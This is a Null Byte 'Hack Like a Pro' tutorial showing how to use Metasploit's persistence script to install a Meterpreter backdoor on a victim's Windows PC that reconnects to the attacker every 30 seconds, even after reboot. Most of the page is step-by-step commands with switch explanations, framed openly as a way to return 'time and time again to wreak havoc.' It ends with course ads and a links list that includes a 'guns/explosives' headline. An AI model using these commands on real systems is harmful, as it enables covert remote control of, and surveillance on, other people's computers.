Hack Like a Pro: How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PC « Null Byte :: WonderHowTo

Welcome back, my hacker wannabees!Most of my recent posts have addressed using Metasploit's Meterpreter and what we can do once we have embedded it on the victim's system. This includes remotely installinga keylogger, enablingthe webcam, enablingthe microphone and recording, disablingthe antivirus software, among many other things. The list is almost unlimited.Unfortunately, the Meterpreter ceases to work if the victim system is rebooted. As a result, many of you have written me asking whether we can maintain or persist the Meterpreter on the victim system.The answer is an unequivocal "Yes!"We can embed the Meterpreter and then come back later—even after the victim's computer has been rebooted—and reconnect to our little backdoor or listener. I'm dedicating this post to showing you how to do this.Getting StartedLet's assume that you have been successful in embedding the Meterpreter on the victim's system, and that you have a screen that looks like the screenshot below. If you're not sure how to do this, check out some ofmy previous postsfor help.Now, let's get started.Step 1: Run the Persistence ScriptMetasploit has a script namedpersistencethat can enable us to set up a persistent Meterpreter (listener) on the victim's system. First let's take a look at the options that are available when we run this scrip by using the–h switch.At the Meterpreter prompt, type the following:meterpreter > run persistence -hWe can see in the screenshot above that...–A switchstarts a matching handler to connect to the agent.With the-L switchwe tell the system where to place the Meterpreter on the target system.The–P switchtells the system what payload to use (Windows/Meterpreter/reverse_tcp is the default, so we won't use this switch).-Sstarts the agent on boot with system privileges.The-U switchstarts the agent when the user (U) logs on.The-x switchstarts the agent when the system boots.With the–i switchwe can indicate the time interval between each connection attempt.The-p switchindicates the port, and finally...The–r switchindicates the IP address of our ( r ) system running Metasploit.Here we will use the–A, -L, -x, -i, -p, and –r switches.Type at the Meterpreter prompt:meterpreter >run persistence –A –L c:\\ -X 30 –p 443 –r 192.168.1.113This command then will run the persistence script that will start a matching handler (-A), place the Meterpreter at c:\\ on the target system (-L c:\\), starts the listener when the system boots (-x), checks every 30 seconds for a connection (-i 30), connects on port 443 (-p 443), and connects to the local system (ours) on IP address 192.168.1.113.When we run this command, this is what we should see.Step 2: Opening a Second SessionWe can see that we have opened a Meterpreter session on the victim system.We return to our Metasploit prompt, by typing:meterpreter > backgroundThis will return us to themsf prompt, where can now type:msf exploit(ms08_067_netapi) > sessions –iWe see above that now we have two or more sessions running on the victim system (I actually have three sessions running on this victim) as the persistent Meterpreter has opened a second session on the system.Step 3: TestingThis is all very nice, but the key here is whether the Meterpreter will reconnect to our system even after the target system reboots. We can test this by typing;meterpreter > rebootThis will reboot the target/victim machine and if we are successful, the Meterpreter will reconnect to our system.Even after the system reboots, the Meterpreter on the victim system attempts to connect to us every 30 seconds until it has successfully open a session for us.Now we have successfully opened a persistent connection on the victim system that we can come back to time and time again to wreak havoc!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseOriginal cover images fromBrian A Jackson,ilovezionatShutterstockRelatedHow To:Make Your Galaxy S20's Photos Instagram-Ready in SecondsHow To:Auto-Reply to Missed Calls & Texts on Android When You’re BusyHow To:Install the Front Inside Door Handle on a 99-04 Honda OdysseyHow To:Permanently Remove the 'No SIM Card Inserted' Notification on Your Samsung Galaxy — No Root NeededHow To:Replace a Front Door Lock Actuator on a 1999-04 Honda OdysseyNews:Ford Is Adding Android Auto, Apple CarPlay, & More with New Sync SystemHow To:Permanently Disable the 'Software Update' Notification on Your Samsung Galaxy — No Root NeededHow To:Reconnect Your AirPods to Your iPhone Without Digging in the Bluetooth SettingsHow To:Create a Persistent Back Door in Android Using Kali Linux:How To:Auto-Hide the Navigation Bar on Your Galaxy S10 — No Root NeededHow To:Hack Android Using Kali (Remotely)How To:Install memory in a 2009 Mac ProHow To:Root the Samsung Galaxy S7 or S7 EdgeHow To:Install VNC remotely on a Windows XP PCHow To:Access & Control Your Computer Remotely with Your Nexus 5Hack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyNews:Marble Bee Wake UpNews:Grand Theft Auto 4 Looks Like Gran Turismo 5 with iCEnchancerNews:MAME Arcade cabinet+News:Under cutting door jambs with a hand saw, before installing laminate flooringNews:Reconnect to Victim's System SuccessHow To:Make an Invisible Piston Door to Keep Your Hideout a SecretNews:MAC OS X on PC for REALzZz, My FriendzZz...!News:Packing Tape Door WayHow To:Copy & Convert your Skyrim Game Save from the Xbox 360 to your PCHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:***Where to get *GUNS*EXPLOSIVES* From Mission's***